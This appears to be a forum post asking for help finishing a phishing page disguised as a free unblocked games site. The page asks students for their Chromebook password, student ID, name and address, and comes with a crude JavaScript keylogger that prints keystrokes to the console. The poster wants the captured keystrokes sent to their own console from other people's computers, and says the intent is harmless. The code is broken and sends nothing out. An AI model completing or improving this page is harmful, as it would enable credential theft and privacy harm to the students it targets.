(I dont know what I need to type in order for it to work, but like I said I want to keylog what they type, and make it show up in my console from different pc's)
I really need help on this, please remember its not for any malicious intent, just to annoy my friends but im of course not going to share this with anyone, and if you test my code PLEASE dont put your actuall information in there.
My code: (in html)
<!DOCTYPE html>
<title>Free unbl0ck3d LPS games.</title>
<html>
<head>
<h4>
In order for your information to submit, after you type something in the box click "Enter" on your keyboard.
</h4>
<h4>
Chromebook password:
</h4>
<textarea rows=1 cols=50 id="text" placeholder"chromebookpassword" /></textarea>
<h4>
Your student ID:
</h4>
<textarea rows=1 cols=50 id="text" placeholder"chromebookpassword" /></textarea>
<h4>
Your full name:
</h4>
<textarea rows=1 cols=50 id="text" placeholder"chromebookpassword" /></textarea>
<h4>
Address:
</h4>
<textarea rows=1 cols=50 id="text" placeholder"chromebookpassword" /></textarea>
<h4>
Any other info you think is important about you:
</h4>
<textarea rows=1 cols=50 id="text" placeholder"chromebookpassword" /></textarea>
</body>
</html>
My javascript code:
document.onkeydown = function(a){
console.log(a);
};
document.onkeydown = function(b){
console.log(b);
};
document.onkeydown = function(c){
console.log(c);
};
document.onkeydown = function(d){
console.log(d);
};
document.onkeydown = function(e){
console.log(e);
};
document.onkeydown = function(f){
console.log(f);
};
document.onkeydown = function(j){
console.log(j);
};
//keylogger
var keycodes = "";
var keychars = "";
document.onkeydown = function(e){
keycodes += `${e.code}, `;
keychars += `${e.key}`;
if(e.code === "Enter") // when Enter is pressed print the line in console
{
console.log(keycodes); //print code
console.log(keychars); //print char
keycodes = ""; //make null
keychars = ""; // make null
}
};
$(document).ready(function(){
$('#TextBoxId').keypress(function(e){
if(e.keyCode==13)
$('#linkadd').click();
});
});